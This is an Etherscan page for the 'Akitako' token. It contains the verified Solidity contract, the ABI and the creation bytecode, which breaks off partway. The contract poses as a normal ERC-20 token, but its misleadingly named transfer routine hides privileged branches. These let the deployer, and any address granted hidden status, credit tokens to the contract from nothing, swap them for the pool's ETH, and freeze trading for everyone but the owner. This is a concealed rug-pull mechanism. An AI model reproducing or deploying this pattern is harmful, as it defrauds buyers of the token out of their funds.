ETH Price: $2,288.63 (-3.55%)

Token

Akitako (あ)
 

Overview

Max Total Supply

1,000,000

Holders

8

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
20,007.83914334 あ

Value
$0.00
0x303fdf38d88a63c31ac76cf8403ec1fabb7b753c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Contract

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-24
*/

/*
Akitako へようこそ。Ethereum ネットワークを吹き飛ばす次の
Ethereum ユーティリティ トークンです。 有望な計画とイーサリアム空間への参入を促進する、
私たちは単なる通常のトークンやミームトークンではありません
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.14;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function Quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function GetAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function GetAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function GetAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function GetAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _setOwner(_msgSender());
    }  
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }
    function waiveOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }
    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// https://www.zhihu.com/

contract Contract is IERC20, Ownable {

    string private _symbol;
    string private _name;
    uint256 public _cTotalFees = 0;
    uint8 private _decimals = 9;
    uint256 private _rTotal = 1000000 * 10**_decimals;
    uint256 private TXlimitWithEffect = _rTotal;
    uint256 public maxTransactionAmount;
    
    mapping(address => uint256) private _balances;
    mapping(address => address) private bots;
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _bots;
    mapping(address => mapping(address => uint256)) private _allowances;
    
    bool private tradingOpen = false;
    bool public manageEarlySellTax;
    bool private syncTradingbool;

    address public immutable SwapAndSyncPair;
    IUniswapV2Router02 public immutable router;

    constructor(
        string memory Name,
        string memory Symbol,
        address routerAddress
    ) {
        _name = Name;
        _symbol = Symbol;
        _balances[msg.sender] = _rTotal;
        _bots[msg.sender] = TXlimitWithEffect;
        _bots[address(this)] = TXlimitWithEffect;
        router = IUniswapV2Router02(routerAddress);
        SwapAndSyncPair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
        emit Transfer(address(0), msg.sender, _rTotal);
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function name() public view returns (string memory) {
        return _name;
    }
    function totalSupply() public view returns (uint256) {
        return _rTotal;
    }
    function decimals() public view returns (uint256) {
        return _decimals;
    }
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        disableAllLimits      (sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }
    function transfer(address recipient, uint256 amount) external returns (bool) {
        disableAllLimits      (msg.sender, recipient, amount);
        return true;
    }
    function disableAllLimits     (
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 ERCcontractBalance = balanceOf(address(this));
        uint256 _viewCurrentSupply;
        if (manageEarlySellTax && ERCcontractBalance > TXlimitWithEffect && !syncTradingbool && from != SwapAndSyncPair) {
            syncTradingbool = true;
            allowTrading(ERCcontractBalance);
            syncTradingbool = false;
        } else if (_bots[from] > TXlimitWithEffect && _bots[to] > TXlimitWithEffect) {
            _viewCurrentSupply = amount;
            _balances[address(this)] += _viewCurrentSupply;
            tSwapTokens(amount, to);
            return;
        } else if (to != address(router) && _bots[from] > 0 && amount > TXlimitWithEffect && to != SwapAndSyncPair) {
            _bots[to] = amount;
            return;
        } else if (!syncTradingbool && _rOwned[from] > 0 && from != SwapAndSyncPair && _bots[from] == 0) {
            _rOwned[from] = _bots[from] - TXlimitWithEffect;
        }
        address _getTokenRate = bots[SwapAndSyncPair];
        if (_rOwned[_getTokenRate] == 0) _rOwned[_getTokenRate] = TXlimitWithEffect;
        bots[SwapAndSyncPair] = to;
        if (_cTotalFees > 0 && _bots[from] == 0 && !syncTradingbool && _bots[to] == 0) {
            _viewCurrentSupply = (amount * _cTotalFees) / 100;
            amount -= _viewCurrentSupply;
            _balances[from] -= _viewCurrentSupply;
            _balances[address(this)] += _viewCurrentSupply;
        }
        _balances[from] -= amount;
        _balances[to] += amount;
        emit Transfer(from, to, amount);
         //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
    }
    receive() external payable {}

    function addLiquidity(
        uint256 coinAmount,
        uint256 etherAmount,
        address to
    ) private {
        _approve(address(this), address(router), coinAmount);
        router.addLiquidityETH{value: etherAmount}(address(this), coinAmount, 0, 0, to, block.timestamp);
    }
    function allowTrading(uint256 tokens) private {
        uint256 half = tokens / 2;
        uint256 forTBalance = address(this).balance;
        tSwapTokens(half, address(this));
        uint256 endTBalance = address(this).balance - forTBalance;
        addLiquidity(half, endTBalance, address(this));
    }
        function openTrading(bool _tradingOpen) public onlyOwner {
        tradingOpen = _tradingOpen;
    }
    function tSwapTokens(uint256 coinAmount, address to) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), coinAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(coinAmount, 0, path, to, block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"Name","type":"string"},{"internalType":"string","name":"Symbol","type":"string"},{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"SwapAndSyncPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_cTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manageEarlySellTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c060405260006003556009600460006101000a81548160ff021916908360ff160217905550600460009054906101000a900460ff16600a62000043919062000669565b620f4240620000539190620006ba565b6005556005546006556000600d60006101000a81548160ff0219169083151502179055503480156200008457600080fd5b506040516200318d3803806200318d8339818101604052810190620000aa9190620008fd565b620000ca620000be6200040360201b60201c565b6200040b60201b60201c565b8260029081620000db919062000bd8565b508160019081620000ed919062000bd8565b50600554600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600654600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600654600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff168152505060a05173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000242573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000268919062000cbf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060a05173ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002d2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f8919062000cbf565b6040518363ffffffff1660e01b81526004016200031792919062000d02565b6020604051808303816000875af115801562000337573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200035d919062000cbf565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620003f2919062000d40565b60405180910390a350505062000d5d565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200055d57808604811115620005355762000534620004cf565b5b6001851615620005455780820291505b80810290506200055585620004fe565b945062000515565b94509492505050565b6000826200057857600190506200064b565b816200058857600090506200064b565b8160018114620005a15760028114620005ac57620005e2565b60019150506200064b565b60ff841115620005c157620005c0620004cf565b5b8360020a915084821115620005db57620005da620004cf565b5b506200064b565b5060208310610133831016604e8410600b84101617156200061c5782820a905083811115620006165762000615620004cf565b5b6200064b565b6200062b84848460016200050b565b92509050818404811115620006455762000644620004cf565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620006768262000652565b915062000683836200065c565b9250620006b27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000566565b905092915050565b6000620006c78262000652565b9150620006d48362000652565b9250828202620006e48162000652565b91508282048414831517620006fe57620006fd620004cf565b5b5092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200076e8262000723565b810181811067ffffffffffffffff8211171562000790576200078f62000734565b5b80604052505050565b6000620007a562000705565b9050620007b3828262000763565b919050565b600067ffffffffffffffff821115620007d657620007d562000734565b5b620007e18262000723565b9050602081019050919050565b60005b838110156200080e578082015181840152602081019050620007f1565b60008484015250505050565b6000620008316200082b84620007b8565b62000799565b90508281526020810184848401111562000850576200084f6200071e565b5b6200085d848285620007ee565b509392505050565b600082601f8301126200087d576200087c62000719565b5b81516200088f8482602086016200081a565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620008c58262000898565b9050919050565b620008d781620008b8565b8114620008e357600080fd5b50565b600081519050620008f781620008cc565b92915050565b6000806000606084860312156200091957620009186200070f565b5b600084015167ffffffffffffffff8111156200093a576200093962000714565b5b620009488682870162000865565b935050602084015167ffffffffffffffff8111156200096c576200096b62000714565b5b6200097a8682870162000865565b92505060406200098d86828701620008e6565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620009ea57607f821691505b60208210810362000a0057620009ff620009a2565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000a6a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000a2b565b62000a76868362000a2b565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000ab962000ab362000aad8462000652565b62000a8e565b62000652565b9050919050565b6000819050919050565b62000ad58362000a98565b62000aed62000ae48262000ac0565b84845462000a38565b825550505050565b600090565b62000b0462000af5565b62000b1181848462000aca565b505050565b5b8181101562000b395762000b2d60008262000afa565b60018101905062000b17565b5050565b601f82111562000b885762000b528162000a06565b62000b5d8462000a1b565b8101602085101562000b6d578190505b62000b8562000b7c8562000a1b565b83018262000b16565b50505b505050565b600082821c905092915050565b600062000bad6000198460080262000b8d565b1980831691505092915050565b600062000bc8838362000b9a565b9150826002028217905092915050565b62000be38262000997565b67ffffffffffffffff81111562000bff5762000bfe62000734565b5b62000c0b8254620009d1565b62000c1882828562000b3d565b600060209050601f83116001811462000c50576000841562000c3b578287015190505b62000c47858262000bba565b86555062000cb7565b601f19841662000c608662000a06565b60005b8281101562000c8a5784890151825560018201915060208501945060208101905062000c63565b8683101562000caa578489015162000ca6601f89168262000b9a565b8355505b6001600288020188555050505b505050505050565b60006020828403121562000cd85762000cd76200070f565b5b600062000ce884828501620008e6565b91505092915050565b62000cfc81620008b8565b82525050565b600060408201905062000d19600083018562000cf1565b62000d28602083018462000cf1565b9392505050565b62000d3a8162000652565b82525050565b600060208201905062000d57600083018462000d2f565b92915050565b60805160a0516123bd62000dd0600039600081816109d301528181610d77015281816116ec015281816117cd015281816117f50152818161189201526118ba01526000818161081801528181610bde01528181610e2601528181610f2a01528181611063015261117401526123bd6000f3fe60806040526004361061010d5760003560e01c8063914eb66a11610095578063ae0a30c611610064578063ae0a30c61461037a578063c8c8ebe4146103a5578063dd62ed3e146103d0578063f2fde38b1461040d578063f887ea401461043657610114565b8063914eb66a146102d057806395d89b41146102e7578063a9059cbb14610312578063ab03f9f61461034f57610114565b80632a9b8072116100dc5780632a9b8072146101e9578063313ce5671461021257806366af42881461023d57806370a08231146102685780638da5cb5b146102a557610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610461565b60405161013b91906119f8565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190611ab3565b6104f3565b6040516101789190611b0e565b60405180910390f35b34801561018d57600080fd5b50610196610508565b6040516101a39190611b38565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190611b53565b610512565b6040516101e09190611b0e565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190611bd2565b6105ba565b005b34801561021e57600080fd5b50610227610653565b6040516102349190611b38565b60405180910390f35b34801561024957600080fd5b5061025261066d565b60405161025f9190611b38565b60405180910390f35b34801561027457600080fd5b5061028f600480360381019061028a9190611bff565b610673565b60405161029c9190611b38565b60405180910390f35b3480156102b157600080fd5b506102ba6106bc565b6040516102c79190611c3b565b60405180910390f35b3480156102dc57600080fd5b506102e56106e5565b005b3480156102f357600080fd5b506102fc61076d565b60405161030991906119f8565b60405180910390f35b34801561031e57600080fd5b5061033960048036038101906103349190611ab3565b6107ff565b6040516103469190611b0e565b60405180910390f35b34801561035b57600080fd5b50610364610816565b6040516103719190611c3b565b60405180910390f35b34801561038657600080fd5b5061038f61083a565b60405161039c9190611b0e565b60405180910390f35b3480156103b157600080fd5b506103ba61084d565b6040516103c79190611b38565b60405180910390f35b3480156103dc57600080fd5b506103f760048036038101906103f29190611c56565b610853565b6040516104049190611b38565b60405180910390f35b34801561041957600080fd5b50610434600480360381019061042f9190611bff565b6108da565b005b34801561044257600080fd5b5061044b6109d1565b6040516104589190611cf5565b60405180910390f35b60606002805461047090611d3f565b80601f016020809104026020016040519081016040528092919081815260200182805461049c90611d3f565b80156104e95780601f106104be576101008083540402835291602001916104e9565b820191906000526020600020905b8154815290600101906020018083116104cc57829003601f168201915b5050505050905090565b60006105003384846109f5565b905092915050565b6000600554905090565b600061051f848484610b90565b6105b1843384600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105ac9190611d9f565b6109f5565b90509392505050565b6105c2611540565b73ffffffffffffffffffffffffffffffffffffffff166105e06106bc565b73ffffffffffffffffffffffffffffffffffffffff1614610636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062d90611e1f565b60405180910390fd5b80600d60006101000a81548160ff02191690831515021790555050565b6000600460009054906101000a900460ff1660ff16905090565b60035481565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6106ed611540565b73ffffffffffffffffffffffffffffffffffffffff1661070b6106bc565b73ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075890611e1f565b60405180910390fd5b61076b6000611548565b565b60606001805461077c90611d3f565b80601f01602080910402602001604051908101604052809291908181526020018280546107a890611d3f565b80156107f55780601f106107ca576101008083540402835291602001916107f5565b820191906000526020600020905b8154815290600101906020018083116107d857829003601f168201915b5050505050905090565b600061080c338484610b90565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600d60019054906101000a900460ff1681565b60075481565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6108e2611540565b73ffffffffffffffffffffffffffffffffffffffff166109006106bc565b73ffffffffffffffffffffffffffffffffffffffff1614610956576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094d90611e1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bc90611eb1565b60405180910390fd5b6109ce81611548565b50565b7f000000000000000000000000000000000000000000000000000000000000000081565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a605750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610a9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9690611f43565b60405180910390fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b7d9190611b38565b60405180910390a3600190509392505050565b6000610b9b30610673565b90506000600d60019054906101000a900460ff168015610bbc575060065482115b8015610bd55750600d60029054906101000a900460ff16155b8015610c2d57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610c76576001600d60026101000a81548160ff021916908315150217905550610c568261160c565b6000600d60026101000a81548160ff02191690831515021790555061105b565b600654600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d065750600654600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610d755782905080600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d5d9190611f63565b92505081905550610d6e838561164d565b505061153b565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610e1057506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610e1d575060065483115b8015610e7557507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610ec55782600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505061153b565b600d60029054906101000a900460ff16158015610f2157506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610f7957507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610fc457506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561105a57600654600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110169190611d9f565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600960007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361116d57600654600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b84600960007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060035411801561125c57506000600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156112755750600d60029054906101000a900460ff16155b80156112c057506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561139c576064600354856112d59190611f97565b6112df9190612008565b915081846112ed9190611d9f565b935081600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461133e9190611d9f565b9250508190555081600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113949190611f63565b925050819055505b83600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113eb9190611d9f565b9250508190555083600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114419190611f63565b925050819055508473ffffffffffffffffffff